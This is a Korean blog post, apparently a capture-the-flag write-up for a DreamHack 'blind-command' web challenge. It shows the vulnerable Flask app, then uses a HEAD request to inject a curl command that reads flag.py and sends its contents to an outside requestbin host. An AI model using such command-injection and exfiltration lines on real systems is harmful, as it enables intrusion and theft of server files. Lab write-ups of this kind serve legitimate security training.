Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Web_Hacking] stage10_문제풀이(blind-command) 본문

Hack/DreamHack(로드맵)

[Web_Hacking] stage10_문제풀이(blind-command)

CIDY 2022. 7. 30. 10:36
#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

 

app코드 자체는 짧다. 

 

 

인자 준 대로 리턴하는데... GET말고 다른걸로 해야 else문이 실행되면서 system에 대한 cmd가 실행될 듯 하다.

 

이것저것 알아보던 차에 burp suite를 이용하면 사용 가능한 메소드를 확인할 수 있다기에 설치했다.

 

 

HEAD, GET, OPTION이 이용 가능하다. -> HEAD쓰면 될듯.

 

(*위와 같은 확인은 OPTIONS를 forward해서 가능하다.)

 

그리고 서버에 있을 flag파일을 드림핵에서 제공하는 requestbin을 이용해 전송받도록 하자.

 

http://host3.dreamhack.games:21332/?cmd=curl https://uujuyub.request.dreamhack.games -d $(cat flag.py)

 

 

잘 갔다.

 

엥 이게뭐람.. 중간에 공백때문에 끊겼나보다.

 

드랍하고 다시 전송해주자. (물론 메소드는 HEAD로 변경해준 다음 forward해야 한다.)

 

 

http://host3.dreamhack.games:21332/?cmd=curl https://uujuyub.request.dreamhack.games -d $(cat flag.py | tr -d " ")

 

flag

공백을 없앴더니 잘 출력된다!